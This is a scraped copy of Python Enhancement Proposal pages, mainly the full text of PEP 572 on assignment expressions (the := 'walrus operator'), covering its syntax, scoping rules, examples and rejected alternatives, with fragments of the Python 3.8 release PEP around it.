out-of-band data PEP 578, Runtime audit hooks PEP 587, Python Initialization Configuration PEP 590, Vectorcall: a fast calling protocol for CPython Typing-related: PEP 591 (Final qualifier), PEP 586 (Literal types), and PEP 589 (TypedDict) Parallel filesystem cache for compiled bytecode Debug builds share ABI as release builds f-strings support a handy = specifier for debugging continue is now legal in finally: blocks on Windows, the default asyncio event loop is now ProactorEventLoop on macOS, the spawn start method is now used by default in multiprocessing multiprocessing can now use shared memory segments to avoid pickling costs between processes typed_ast is merged back to CPython LOAD_GLOBAL is now 40% faster pickle now uses Protocol 4 by default, improving performance There are many other interesting changes, please consult the “What’s New” page in the documentation for a full list. Copyright This document has been placed in the public domain.

Active

PEP 569 – Python 3.8 Release Schedule

Informational

This document describes the development and release schedule for Python 3.8. The schedule primarily concerns itself with PEP-sized items.

PEP 572 – Assignment Expressions Author: Chris Angelico <rosuav at gmail.com>, Tim Peters <tim.peters at gmail.com>, Guido van Rossum <guido at python.org> Status: Final Type: Standards Track Created: 28-Feb-2018 Python-Version: 3.8 Post-History: 28-Feb-2018, 02-Mar-2018, 23-Mar-2018, 04-Apr-2018, 17-Apr-2018, 25-Apr-2018, 09-Jul-2018, 05-Aug-2019 Resolution: Python-Dev message Table of Contents Abstract Rationale The importance of real code Syntax and semantics Exceptional cases Scope of the target Relative precedence of := Change to evaluation order Differences between assignment expressions and assignment statements Specification changes during implementation Examples Examples from the Python standard library site.py _pydecimal.py copy.py datetime.py sysconfig.py Simplifying list comprehensions Capturing condition values Fork Rejected alternative proposals Changing the scope rules for comprehensions Alternative spellings Special-casing conditional statements Special-casing comprehensions Lowering operator precedence Allowing commas to the right Always requiring parentheses Frequently Raised Objections Why not just turn existing assignment into an expression? With assignment expressions, why bother with assignment statements? Why not use a sublocal scope and prevent namespace pollution? Style guide recommendations Acknowledgements Appendix A: Tim Peters’s findings A numeric example Appendix B: Rough code translations for comprehensions Appendix C: No Changes to Scope Semantics References Copyright Abstract This is a proposal for creating a way to assign to variables within an expression using the notation NAME := expr. As part of this change, there is also an update to dictionary comprehension evaluation order to ensure key expressions are executed before value expressions (allowing the key to be bound to a name and then re-used as part of calculating the corresponding value). During discussion of this PEP, the operator became informally known as “the walrus operator”. The construct’s formal name is “Assignment Expressions” (as per the PEP title), but they may also be referred to as “Named Expressions” (e.g. the CPython reference implementation uses that name internally). Rationale Naming the result of an expression is an important part of programming, allowing a descriptive name to be used in place of a longer expression, and permitting reuse. Currently, this feature is available only in statement form, making it unavailable in list comprehensions and other expression contexts. Additionally, naming sub-parts of a large expression can assist an interactive debugger, providing useful display hooks and partial results. Without a way to capture sub-expressions inline, this would require refactoring of the original code; with assignment expressions, this merely requires the insertion of a few name := markers. Removing the need to refactor reduces the likelihood that the code be inadvertently changed as part of debugging (a common cause of Heisenbugs), and is easier to dictate to another programmer. The importance of real code During the development of this PEP many people (supporters and critics both) have had a tendency to focus on toy examples on the one hand, and on overly complex examples on the other. The danger of toy examples is twofold: they are often too abstract to make anyone go “ooh, that’s compelling”, and they are easily refuted with “I would never write it that way anyway”. The danger of overly complex examples is that they provide a convenient strawman for critics of the proposal to shoot down (“that’s obfuscated”). Yet there is some use for both extremely simple and extremely complex examples: they are helpful to clarify the intended semantics. Therefore, there will be some of each below. However, in order to be compelling, examples should be rooted in real code, i.e. code that was written without any thought of this PEP, as part of a useful application, however large or small. Tim Peters has been extremely helpful by going over his own personal code repository and picking examples of code he had written that (in his view) would have been clearer if rewritten with (sparing) use of assignment expressions. His conclusion: the current proposal would have allowed a modest but clear improvement in quite a few bits of code. Another use of real code is to observe indirectly how much value programmers place on compactness. Guido van Rossum searched through a Dropbox code base and discovered some evidence that programmers value writing fewer lines over shorter lines. Case in point: Guido found several examples where a programmer repeated a subexpression, slowing down the program, in order to save one line of code, e.g. instead of writing: match = re.match(data) group = match.group(1) if match else None they would write: group = re.match(data).group(1) if re.match(data) else None Another example illustrates that programmers sometimes do more work to save an extra level of indentation: match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None This code tries to match pattern2 even if pattern1 has a match (in which case the match on pattern2 is never used). The more efficient rewrite would have been: match1 = pattern1.match(data) if match1: result = match1.group(1) else: match2 = pattern2.match(data) if match2: result = match2.group(2) else: result = None Syntax and semantics In most contexts where arbitrary Python expressions can be used, a named expression can appear. This is of the form NAME := expr where expr is any valid Python expression other than an unparenthesized tuple, and NAME is an identifier. The value of such a named expression is the same as the incorporated expression, with the additional side-effect that the target is assigned that value: # Handle a matched regex if (match := pattern.search(data)) is not None: # Do something with match # A loop that can't be trivially rewritten using 2-arg iter() while chunk := file.read(8192): process(chunk) # Reuse a value that's expensive to compute [y := f(x), y**2, y**3] # Share a subexpression between a comprehension filter clause and its output filtered_data = [y for x in data if (y := f(x)) is not None] Exceptional cases There are a few places where assignment expressions are not allowed, in order to avoid ambiguities or user confusion: Unparenthesized assignment expressions are prohibited at the top level of an expression statement. Example:y := f(x) # INVALID (y := f(x)) # Valid, though not recommended This rule is included to simplify the choice for the user between an assignment statement and an assignment expression – there is no syntactic position where both are valid. Unparenthesized assignment expressions are prohibited at the top level of the right hand side of an assignment statement. Example:y0 = y1 := f(x) # INVALID y0 = (y1 := f(x)) # Valid, though discouraged Again, this rule is included to avoid two visually similar ways of saying the same thing. Unparenthesized assignment expressions are prohibited for the value of a keyword argument in a call. Example:foo(x = y := f(x)) # INVALID foo(x=(y := f(x))) # Valid, though probably confusing This rule is included to disallow excessively confusing code, and because parsing keyword arguments is complex enough already. Unparenthesized assignment expressions are prohibited at the top level of a function default value. Example:def foo(answer = p := 42): # INVALID ... def foo(answer=(p := 42)): # Valid, though not great style ... This rule is included to discourage side effects in a position whose exact semantics are already confusing to many users (cf. the common style recommendation against mutable default values), and also to echo the similar prohibition in calls (the previous bullet). Unparenthesized assignment expressions are prohibited as annotations for arguments, return values and assignments. Example:def foo(answer: p := 42 = 5): # INVALID ... def foo(answer: (p := 42) = 5): # Valid, but probably never useful ... The reasoning here is similar to the two previous cases; this ungrouped assortment of symbols and operators composed of : and = is hard to read correctly. Unparenthesized assignment expressions are prohibited in lambda functions. Example:(lambda: x := 1) # INVALID lambda: (x := 1) # Valid, but unlikely to be useful (x := lambda: 1) # Valid lambda line: (m := re.match(pattern, line)) and m.group(1) # Valid This allows lambda to always bind less tightly than :=; having a name binding at the top level inside a lambda function is unlikely to be of value, as there is no way to make use of it. In cases where the name will be used more than once, the expression is likely to need parenthesizing anyway, so this prohibition will rarely affect code. Assignment expressions inside of f-strings require parentheses. Example:>>> f'{(x:=10)}' # Valid, uses assignment expression '10' >>> x = 10 >>> f'{x:=10}' # Valid, passes '=10' to formatter ' 10' This shows that what looks like an assignment operator in an f-string is not always an assignment operator. The f-string parser uses : to indicate formatting options. To preserve backwards compatibility, assignment operator usage inside of f-strings must be parenthesized. As noted above, this usage of the assignment operator is not recommended. Scope of the target An assignment expression does not introduce a new scope. In most cases the scope in which the target will be bound is self-explanatory: it is the current scope. If this scope contains a nonlocal or global declaration for the target, the assignment expression honors that. A lambda (being an explicit, if anonymous, function definition) counts as a scope for this purpose. There is one special case: an assignment expression occurring in a list, set or dict comprehension or in a generator expression (below collectively referred to as “comprehensions”) binds the target in the containing scope, honoring a nonlocal or global declaration for the target in that scope, if one exists. For the purpose of this rule the containing scope of a nested comprehension is the scope that contains the outermost comprehension. A lambda counts as a containing scope. The motivation for this special case is twofold. First, it allows us to conveniently capture a “witness” for an any() expression, or a counterexample for all(), for example: if any((comment := line).startswith('#') for line in lines): print("First comment:", comment) else: print("There are no comments") if all((nonblank := line).strip() == '' for line in lines): print("All lines are blank") else: print("First non-blank line:", nonblank) Second, it allows a compact way of updating mutable state from a comprehension, for example: # Compute partial sums in a list comprehension total = 0 partial_sums = [total := total + v for v in values] print("Total:", total) However, an assignment expression target name cannot be the same as a for-target name appearing in any comprehension containing the assignment expression. The latter names are local to the comprehension in which they appear, so it would be contradictory for a contained use of the same name to refer to the scope containing the outermost comprehension instead. For example, [i := i+1 for i in range(5)] is invalid: the for i part establishes that i is local to the comprehension, but the i := part insists that i is not local to the comprehension. The same reason makes these examples invalid too: [[(j := j) for i in range(5)] for j in range(5)] # INVALID [i := 0 for i, j in stuff] # INVALID [i+1 for i in (i := stuff)] # INVALID While it’s technically possible to assign consistent semantics to these cases, it’s difficult to determine whether those semantics actually make sense in the absence of real use cases. Accordingly, the reference implementation [1] will ensure that such cases raise SyntaxError, rather than executing with implementation defined behaviour. This restriction applies even if the assignment expression is never executed: [False and (i := 0) for i, j in stuff] # INVALID [i for i, j in stuff if True or (j := 1)] # INVALID For the comprehension body (the part before the first “for” keyword) and the filter expression (the part after “if” and before any nested “for”), this restriction applies solely to target names that are also used as iteration variables in the comprehension. Lambda expressions appearing in these positions introduce a new explicit function scope, and hence may use assignment expressions with no additional restrictions. Due to design constraints in the reference implementation (the symbol table analyser cannot easily detect when names are re-used between the leftmost comprehension iterable expression and the rest of the comprehension), named expressions are disallowed entirely as part of comprehension iterable expressions (the part after each “in”, and before any subsequent “if” or “for” keyword): [i+1 for i in (j := stuff)] # INVALID [i+1 for i in range(2) for j in (k := stuff)] # INVALID [i+1 for i in [j for j in (k := stuff)]] # INVALID [i+1 for i in (lambda: (j := stuff))()] # INVALID A further exception applies when an assignment expression occurs in a comprehension whose containing scope is a class scope. If the rules above were to result in the target being assigned in that class’s scope, the assignment expression is expressly invalid. This case also raises SyntaxError: class Example: [(j := i) for i in range(5)] # INVALID (The reason for the latter exception is the implicit function scope created for comprehensions – there is currently no runtime mechanism for a function to refer to a variable in the containing class scope, and we do not want to add such a mechanism. If this issue ever gets resolved this special case may be removed from the specification of assignment expressions. Note that the problem already exists for using a variable defined in the class scope from a comprehension.) See Appendix B for some examples of how the rules for targets in comprehensions translate to equivalent code. Relative precedence of := The := operator groups more tightly than a comma in all syntactic positions where it is legal, but less tightly than all other operators, including or, and, not, and conditional expressions (A if C else B). As follows from section “Exceptional cases” above, it is never allowed at the same level as =. In case a different grouping is desired, parentheses should be used. The := operator may be used directly in a positional function call argument; however it is invalid directly in a keyword argument. Some examples to clarify what’s technically valid or invalid: # INVALID x := 0 # Valid alternative (x := 0) # INVALID x = y := 0 # Valid alternative x = (y := 0) # Valid len(lines := f.readlines()) # Valid foo(x := 3, cat='vector') # INVALID foo(cat=category := 'vector') # Valid alternative foo(cat=(category := 'vector')) Most of the “valid” examples above are not recommended, since human readers of Python source code who are quickly glancing at some code may miss the distinction. But simple cases are not objectionable: # Valid if any(len(longline := line) >= 100 for line in lines): print("Extremely long line:", longline) This PEP recommends always putting spaces around :=, similar to PEP 8’s recommendation for = when used for assignment, whereas the latter disallows spaces around = used for keyword arguments.) Change to evaluation order In order to have precisely defined semantics, the proposal requires evaluation order to be well-defined. This is technically not a new requirement, as function calls may already have side effects. Python already has a rule that subexpressions are generally evaluated from left to right. However, assignment expressions make these side effects more visible, and we propose a single change to the current evaluation order: In a dict comprehension {X: Y for ...}, Y is currently evaluated before X. We propose to change this so that X is evaluated before Y. (In a dict display like {X: Y} this is already the case, and also in dict((X, Y) for ...) which should clearly be equivalent to the dict comprehension.) Differences between assignment expressions and assignment statements Most importantly, since := is an expression, it can be used in contexts where statements are illegal, including lambda functions and comprehensions. Conversely, assignment expressions don’t support the advanced features found in assignment statements: Multiple targets are not directly supported:x = y = z = 0 # Equivalent: (z := (y := (x := 0))) Single assignment targets other than a single NAME are not supported:# No equivalent a[i] = x self.rest = [] Priority around commas is different:x = 1, 2 # Sets x to (1, 2) (x := 1, 2) # Sets x to 1 Iterable packing and unpacking (both regular or extended forms) are not supported:# Equivalent needs extra parentheses loc = x, y # Use (loc := (x, y)) info = name, phone, *rest # Use (info := (name, phone, *rest)) # No equivalent px, py, pz = position name, phone, email, *other_info = contact Inline type annotations are not supported:# Closest equivalent is "p: Optional[int]" as a separate declaration p: Optional[int] = None Augmented assignment is not supported:total += tax # Equivalent: (total := total + tax) Specification changes during implementation The following changes have been made based on implementation experience and additional review after the PEP was first accepted and before Python 3.8 was released: for consistency with other similar exceptions, and to avoid locking in an exception name that is not necessarily going to improve clarity for end users, the originally proposed TargetScopeError subclass of SyntaxError was dropped in favour of just raising SyntaxError directly. [3] due to a limitation in CPython’s symbol table analysis process, the reference implementation raises SyntaxError for all uses of named expressions inside comprehension iterable expressions, rather than only raising them when the named expression target conflicts with one of the iteration variables in the comprehension. This could be revisited given sufficiently compelling examples, but the extra complexity needed to implement the more selective restriction doesn’t seem worthwhile for purely hypothetical use cases. Examples Examples from the Python standard library site.py env_base is only used on these lines, putting its assignment on the if moves it as the “header” of the block. Current:env_base = os.environ.get("PYTHONUSERBASE", None) if env_base: return env_base Improved:if env_base := os.environ.get("PYTHONUSERBASE", None): return env_base _pydecimal.py Avoid nested if and remove one indentation level. Current:if self._is_special: ans = self._check_nans(context=context) if ans: return ans Improved:if self._is_special and (ans := self._check_nans(context=context)): return ans copy.py Code looks more regular and avoid multiple nested if. (See Appendix A for the origin of this example.) Current:reductor = dispatch_table.get(cls) if reductor: rv = reductor(x) else: reductor = getattr(x, "__reduce_ex__", None) if reductor: rv = reductor(4) else: reductor = getattr(x, "__reduce__", None) if reductor: rv = reductor() else: raise Error( "un(deep)copyable object of type %s" % cls) Improved:if reductor := dispatch_table.get(cls): rv = reductor(x) elif reductor := getattr(x, "__reduce_ex__", None): rv = reductor(4) elif reductor := getattr(x, "__reduce__", None): rv = reductor() else: raise Error("un(deep)copyable object of type %s" % cls) datetime.py tz is only used for s += tz, moving its assignment inside the if helps to show its scope. Current:s = _format_time(self._hour, self._minute, self._second, self._microsecond, timespec) tz = self._tzstr() if tz: s += tz return s Improved:s = _format_time(self._hour, self._minute, self._second, self._microsecond, timespec) if tz := self._tzstr(): s += tz return s sysconfig.py Calling fp.readline() in the while condition and calling .match() on the if lines make the code more compact without making it harder to understand. Current:while True: line = fp.readline() if not line: break m = define_rx.match(line) if m: n, v = m.group(1, 2) try: v = int(v) except ValueError: pass vars[n] = v else: m = undef_rx.match(line) if m: vars[m.group(1)] = 0 Improved:while line := fp.readline(): if m := define_rx.match(line): n, v = m.group(1, 2) try: v = int(v) except ValueError: pass vars[n] = v elif m := undef_rx.match(line): vars[m.group(1)] = 0 Simplifying list comprehensions A list comprehension can map and filter efficiently by capturing the condition: results = [(x, y, x/y) for x in input_data if (y := f(x)) > 0] Similarly, a subexpression can be reused within the main expression, by giving it a name on first use: stuff = [[y := f(x), x/y] for x in range(5)] Note that in both cases the variable y is bound in the containing scope (i.e. at the same level as results or stuff). Capturing condition values Assignment expressions can be used to good effect in the header of an if or while statement: # Loop-and-a-half while (command := input("> ")) != "quit": print("You entered:", command) # Capturing regular expression match objects # See, for instance, Lib/pydoc.py, which uses a multiline spelling # of this effect if match := re.search(pat, text): print("Found:", match.group(0)) # The same syntax chains nicely into 'elif' statements, unlike the # equivalent using assignment statements. elif match := re.search(otherpat, text): print("Alternate found:", match.group(0)) elif match := re.search(third, text): print("Fallback found:", match.group(0)) # Reading socket data until an empty string is returned while data := sock.recv(8192): print("Received data:", data) Particularly with the while loop, this can remove the need to have an infinite loop, an assignment, and a condition. It also creates a smooth parallel between a loop which simply uses a function call as its condition, and one which uses that as its condition but also uses the actual value. Fork An example from the low-level UNIX world: if pid := os.fork(): # Parent code else: # Child code Rejected alternative proposals Proposals broadly similar to this one have come up frequently on python-ideas. Below are a number of alternative syntaxes, some of them specific to comprehensions, which have been rejected in favour of the one given above. Changing the scope rules for comprehensions A previous version of this PEP proposed subtle changes to the scope rules for comprehensions, to make them more usable in class scope and to unify the scope of the “outermost iterable” and the rest of the comprehension. However, this part of the proposal would have caused backwards incompatibilities, and has been withdrawn so the PEP can focus on assignment expressions. Alternative spellings Broadly the same semantics as the current proposal, but spelled differently. EXPR as NAME:stuff = [[f(x) as y, x/y] for x in range(5)] Since EXPR as NAME already has meaning in import, except and with statements (with different semantics), this would create unnecessary confusion or require special-casing (e.g. to forbid assignment within the headers of these statements). (Note that with EXPR as VAR does not simply assign the value of EXPR to VAR – it calls EXPR.__enter__() and assigns the result of that to VAR.) Additional reasons to prefer := over this spelling include: In if f(x) as y the assignment target doesn’t jump out at you – it just reads like if f x blah blah and it is too similar visually to if f(x) and y. In all other situations where an as clause is allowed, even readers with intermediary skills are led to anticipate that clause (however optional) by the keyword that starts the line, and the grammar ties that keyword closely to the as clause: import foo as bar except Exc as var with ctxmgr() as var To the contrary, the assignment expression does not belong to the if or while that starts the line, and we intentionally allow assignment expressions in other contexts as well. The parallel cadence between NAME = EXPR if NAME := EXPR reinforces the visual recognition of assignment expressions. EXPR -> NAME:stuff = [[f(x) -> y, x/y] for x in range(5)] This syntax is inspired by languages such as R and Haskell, and some programmable calculators. (Note that a left-facing arrow y <- f(x) is not possible in Python, as it would be interpreted as less-than and unary minus.) This syntax has a slight advantage over ‘as’ in that it does not conflict with with, except and import, but otherwise is equivalent. But it is entirely unrelated to Python’s other use of -> (function return type annotations), and compared to := (which dates back to Algol-58) it has a much weaker tradition. Adorning statement-local names with a leading dot:stuff = [[(f(x) as .y), x/.y] for x in range(5)] # with "as" stuff = [[(.y := f(x)), x/.y] for x in range(5)] # with ":=" This has the advantage that leaked usage can be readily detected, removing some forms of syntactic ambiguity. However, this would be the only place in Python where a variable’s scope is encoded into its name, making refactoring harder. Adding a where: to any statement to create local name bindings:value = x**2 + 2*x where: x = spam(1, 4, 7, q) Execution order is inverted (the indented body is performed first, followed by the “header”). This requires a new keyword, unless an existing keyword is repurposed (most likely with:). See PEP 3150 for prior discussion on this subject (with the proposed keyword being given:). TARGET from EXPR:stuff = [[y from f(x), x/y] for x in range(5)] This syntax has fewer conflicts than as does (conflicting only with the raise Exc from Exc notation), but is otherwise comparable to it. Instead of paralleling with expr as target: (which can be useful but can also be confusing), this has no parallels, but is evocative. Special-casing conditional statements One of the most popular use-cases is if and while statements. Instead of a more general solution, this proposal enhances the syntax of these two statements to add a means of capturing the compared value: if re.search(pat, text) as match: print("Found:", match.group(0)) This works beautifully if and ONLY if the desired condition is based on the truthiness of the captured value. It is thus effective for specific use-cases (regex matches, socket reads that return '' when done), and completely useless in more complicated cases (e.g. where the condition is f(x) < 0 and you want to capture the value of f(x)). It also has no benefit to list comprehensions. Advantages: No syntactic ambiguities. Disadvantages: Answers only a fraction of possible use-cases, even in if/while statements. Special-casing comprehensions Another common use-case is comprehensions (list/set/dict, and genexps). As above, proposals have been made for comprehension-specific solutions. where, let, or given:stuff = [(y, x/y) where y = f(x) for x in range(5)] stuff = [(y, x/y) let y = f(x) for x in range(5)] stuff = [(y, x/y) given y = f(x) for x in range(5)] This brings the subexpression to a location in between the ‘for’ loop and the expression. It introduces an additional language keyword, which creates conflicts. Of the three, where reads the most cleanly, but also has the greatest potential for conflict (e.g. SQLAlchemy and numpy have where methods, as does tkinter.dnd.Icon in the standard library). with NAME = EXPR:stuff = [(y, x/y) with y = f(x) for x in range(5)] As above, but reusing the with keyword. Doesn’t read too badly, and needs no additional language keyword. Is restricted to comprehensions, though, and cannot as easily be transformed into “longhand” for-loop syntax. Has the C problem that an equals sign in an expression can now create a name binding, rather than performing a comparison. Would raise the question of why “with NAME = EXPR:” cannot be used as a statement on its own. with EXPR as NAME:stuff = [(y, x/y) with f(x) as y for x in range(5)] As per option 2, but using as rather than an equals sign. Aligns syntactically with other uses of as for name binding, but a simple transformation to for-loop longhand would create drastically different semantics; the meaning of with inside a comprehension would be completely different from the meaning as a stand-alone statement, while retaining identical syntax. Regardless of the spelling chosen, this introduces a stark difference between comprehensions and the equivalent unrolled long-hand form of the loop. It is no longer possible to unwrap the loop into statement form without reworking any name bindings. The only keyword that can be repurposed to this task is with, thus giving it sneakily different semantics in a comprehension than in a statement; alternatively, a new keyword is needed, with all the costs therein. Lowering operator precedence There are two logical precedences for the := operator. Either it should bind as loosely as possible, as does statement-assignment; or it should bind more tightly than comparison operators. Placing its precedence between the comparison and arithmetic operators (to be precise: just lower than bitwise OR) allows most uses inside while and if conditions to be spelled without parentheses, as it is most likely that you wish to capture the value of something, then perform a comparison on it: pos = -1 while pos := buffer.find(search_term, pos + 1) >= 0: ... Once find() returns -1, the loop terminates. If := binds as loosely as = does, this would capture the result of the comparison (generally either True or False), which is less useful. While this behaviour would be convenient in many situations, it is also harder to explain than “the := operator behaves just like the assignment statement”, and as such, the precedence for := has been made as close as possible to that of = (with the exception that it binds tighter than comma). Allowing commas to the right Some critics have claimed that the assignment expressions should allow unparenthesized tuples on the right, so that these two would be equivalent: (point := (x, y)) (point := x, y) (With the current version of the proposal, the latter would be equivalent to ((point := x), y).) However, adopting this stance would logically lead to the conclusion that when used in a function call, assignment expressions also bind less tight than comma, so we’d have the following confusing equivalence: foo(x := 1, y) foo(x := (1, y)) The less confusing option is to make := bind more tightly than comma. Always requiring parentheses It’s been proposed to just always require parentheses around an assignment expression. This would resolve many ambiguities, and indeed parentheses will frequently be needed to extract the desired subexpression. But in the following cases the extra parentheses feel redundant: # Top level in if if match := pattern.match(line): return match.group(1) # Short call len(lines := f.readlines()) Frequently Raised Objections Why not just turn existing assignment into an expression? C and its derivatives define the = operator as an expression, rather than a statement as is Python’s way. This allows assignments in more contexts, including contexts where comparisons are more common. The syntactic similarity between if (x == y) and if (x = y) belies their drastically different semantics. Thus this proposal uses := to clarify the distinction. With assignment expressions, why bother with assignment statements? The two forms have different flexibilities. The := operator can be used inside a larger expression; the = statement can be augmented to += and its friends, can be chained, and can assign to attributes and subscripts. Why not use a sublocal scope and prevent namespace pollution? Previous revisions of this proposal involved sublocal scope (restricted to a single statement), preventing name leakage and namespace pollution. While a definite advantage in a number of situations, this increases complexity in many others, and the costs are not justified by the benefits. In the interests of language simplicity, the name bindings created here are exactly equivalent to any other name bindings, including that usage at class or module scope will create externally-visible names. This is no different from for loops or other constructs, and can be solved the same way: del the name once it is no longer needed, or prefix it with an underscore. (The author wishes to thank Guido van Rossum and Christoph Groth for their suggestions to move the proposal in this direction. [2]) Style guide recommendations As expression assignments can sometimes be used equivalently to statement assignments, the question of which should be preferred will arise. For the benefit of style guides such as PEP 8, two recommendations are suggested. If either assignment statements or assignment expressions can be used, prefer statements; they are a clear declaration of intent. If using assignment expressions would lead to ambiguity about execution order, restructure it to use statements instead. Acknowledgements The authors wish to thank Alyssa Coghlan and Steven D’Aprano for their considerable contributions to this proposal, and members of the core-mentorship mailing list for assistance with implementation. Appendix A: Tim Peters’s findings Here’s a brief essay Tim Peters wrote on the topic. I dislike “busy” lines of code, and also dislike putting conceptually unrelated logic on a single line. So, for example, instead of: i = j = count = nerrors = 0 I prefer: i = j = 0 count = 0 nerrors = 0 instead. So I suspected I’d find few places I’d want to use assignment expressions. I didn’t even consider them for lines already stretching halfway across the screen. In other cases, “unrelated” ruled: mylast = mylast[1] yield mylast[0] is a vast improvement over the briefer: yield (mylast := mylast[1])[0] The original two statements are doing entirely different conceptual things, and slamming them together is conceptually insane. In other cases, combining related logic made it harder to understand, such as rewriting: while True: old = total total += term if old == total: return total term *= mx2 / (i*(i+1)) i += 2 as the briefer: while total != (total := total + term): term *= mx2 / (i*(i+1)) i += 2 return total The while test there is too subtle, crucially relying on strict left-to-right evaluation in a non-short-circuiting or method-chaining context. My brain isn’t wired that way. But cases like that were rare. Name binding is very frequent, and “sparse is better than dense” does not mean “almost empty is better than sparse”. For example, I have many functions that return None or 0 to communicate “I have nothing useful to return in this case, but since that’s expected often I’m not going to annoy you with an exception”. This is essentially the same as regular expression search functions returning None when there is no match. So there was lots of code of the form: result = solution(xs, n) if result: # use result I find that clearer, and certainly a bit less typing and pattern-matching reading, as: if result := solution(xs, n): # use result It’s also nice to trade away a small amount of horizontal whitespace to get another _line_ of surrounding code on screen. I didn’t give much weight to this at first, but it was so very frequent it added up, and I soon enough became annoyed that I couldn’t actually run the briefer code. That surprised me! There are other cases where assignment expressions really shine. Rather than pick another from my code, Kirill Balunov gave a lovely example from the standard library’s copy() function in copy.py: reductor = dispatch_table.get(cls) if reductor: rv = reductor(x) else: reductor = getattr(x, "__reduce_ex__", None) if reductor: rv = reductor(4) else: reductor = getattr(x, "__reduce__", None) if reductor: rv = reductor() else: raise Error("un(shallow)copyable object of type %s" % cls) The ever-increasing indentation is semantically misleading: the logic is conceptually flat, “the first test that succeeds wins”: if reductor := dispatch_table.get(cls): rv = reductor(x) elif reductor := getattr(x, "__reduce_ex__", None): rv = reductor(4) elif reductor := getattr(x, "__reduce__", None): rv = reductor() else: raise Error("un(shallow)copyable object of type %s" % cls) Using easy assignment expressions allows the visual structure of the code to emphasize the conceptual flatness of the logic; ever-increasing indentation obscured it. A smaller example from my code delighted me, both allowing to put inherently related logic in a single line, and allowing to remove an annoying “artificial” indentation level: diff = x - x_base if diff: g = gcd(diff, n) if g > 1: return g became: if (diff := x - x_base) and (g := gcd(diff, n)) > 1: return g That if is about as long as I want my lines to get, but remains easy to follow. So, in all, in most lines binding a name, I wouldn’t use assignment expressions, but because that construct is so very frequent, that leaves many places I would. In most of the latter, I found a small win that adds up due to how often it occurs, and in the rest I found a moderate to major win. I’d certainly use it more often than ternary if, but significantly less often than augmented assignment. A numeric example I have another example that quite impressed me at the time. Where all variables are positive integers, and a is at least as large as the n’th root of x, this algorithm returns the floor of the n’th root of x (and roughly doubling the number of accurate bits per iteration): while a > (d := x // a**(n-1)): a = ((n-1)*a + d) // n return a It’s not obvious why that works, but is no more obvious in the “loop and a half” form. It’s hard to prove correctness without building on the right insight (the “arithmetic mean - geometric mean inequality”), and knowing some non-trivial things about how nested floor functions behave. That is, the challenges are in the math, not really in the coding. If you do know all that, then the assignment-expression form is easily read as “while the current guess is too large, get a smaller guess”, where the “too large?” test and the new guess share an expensive sub-expression. To my eyes, the original form is harder to understand: while True: d = x // a**(n-1) if a <= d: break a = ((n-1)*a + d) // n return a Appendix B: Rough code translations for comprehensions This appendix attempts to clarify (though not specify) the rules when a target occurs in a comprehension or in a generator expression. For a number of illustrative examples we show the original code, containing a comprehension, and the translation, where the comprehension has been replaced by an equivalent generator function plus some scaffolding. Since [x for ...] is equivalent to list(x for ...) these examples all use list comprehensions without loss of generality. And since these examples are meant to clarify edge cases of the rules, they aren’t trying to look like real code. Note: comprehensions are already implemented via synthesizing nested generator functions like those in this appendix. The new part is adding appropriate declarations to establish the intended scope of assignment expression targets (the same scope they resolve to as if the assignment were performed in the block containing the outermost comprehension). For type inference purposes, these illustrative expansions do not imply that assignment expression targets are always Optional (but they do indicate the target binding scope). Let’s start with a reminder of what code is generated for a generator expression without assignment expression. Original code (EXPR usually references VAR):def f(): a = [EXPR for VAR in ITERABLE] Translation (let’s not worry about name conflicts):def f(): def genexpr(iterator): for VAR in iterator: yield EXPR a = list(genexpr(iter(ITERABLE))) Let’s add a simple assignment expression. Original code:def f(): a = [TARGET := EXPR for VAR in ITERABLE] Translation:def f(): if False: TARGET = None # Dead code to ensure TARGET is a local variable def genexpr(iterator): nonlocal TARGET for VAR in iterator: TARGET = EXPR yield TARGET a = list(genexpr(iter(ITERABLE))) Let’s add a global TARGET declaration in f(). Original code:def f(): global TARGET a = [TARGET := EXPR for VAR in ITERABLE] Translation:def f(): global TARGET def genexpr(iterator): global TARGET for VAR in iterator: TARGET = EXPR yield TARGET a = list(genexpr(iter(ITERABLE))) Or instead let’s add a nonlocal TARGET declaration in f(). Original code:def g(): TARGET = ... def f(): nonlocal TARGET a = [TARGET := EXPR for VAR in ITERABLE] Translation:def g(): TARGET = ... def f(): nonlocal TARGET def genexpr(iterator): nonlocal TARGET for VAR in iterator: TARGET = EXPR yield TARGET a = list(genexpr(iter(ITERABLE))) Finally, let’s nest two comprehensions. Original code:def f(): a = [[TARGET := i for i in range(3)] for j in range(2)] # I.e., a = [[0, 1, 2], [0, 1, 2]] print(TARGET) # prints 2 Translation:def f(): if False: TARGET = None def outer_genexpr(outer_iterator): nonlocal TARGET def inner_generator(inner_iterator): nonlocal TARGET for i in inner_iterator: TARGET = i yield i for j in outer_iterator: yield list(inner_generator(range(3))) a = list(outer_genexpr(range(2))) print(TARGET) Appendix C: No Changes to Scope Semantics Because it has been a point of confusion, note that nothing about Python’s scoping semantics is changed. Function-local scopes continue to be resolved at compile time, and to have indefinite temporal extent at run time (“full closures”). Example: a = 42 def f(): # `a` is local to `f`, but remains unbound # until the caller executes this genexp: yield ((a := i) for i in range(3)) yield lambda: a + 100 print("done") try: print(f"`a` is bound to {a}") assert False except UnboundLocalError: print("`a` is not yet bound") Then: >>> results = list(f()) # [genexp, lambda] done `a` is not yet bound # The execution frame for f no longer exists in CPython, # but f's locals live so long as they can still be referenced. >>> list(map(type, results)) [<class 'generator'>, <class 'function'>] >>> list(results[0]) [0, 1, 2] >>> results[1]() 102 >>> a 42 References [1] Proof of concept implementation (https://github.com/Rosuav/cpython/tree/assignment-expressions) [2] Pivotal post regarding inline assignment semantics (https://mail.python.org/pipermail/python-ideas/2018-March/049409.html) [3] Discussion of PEP 572 TargetScopeError (https://mail.python.org/archives/list/python-dev@python.org/thread/FXVSYCTQOTT7JCFACKPGPXKULBCGEPQY/) Copyright This document has been placed in the public domain.

Final

PEP 572 – Assignment Expressions

Standards Track

This is a proposal for creating a way to assign to variables within an expression using the notation NAME := expr.

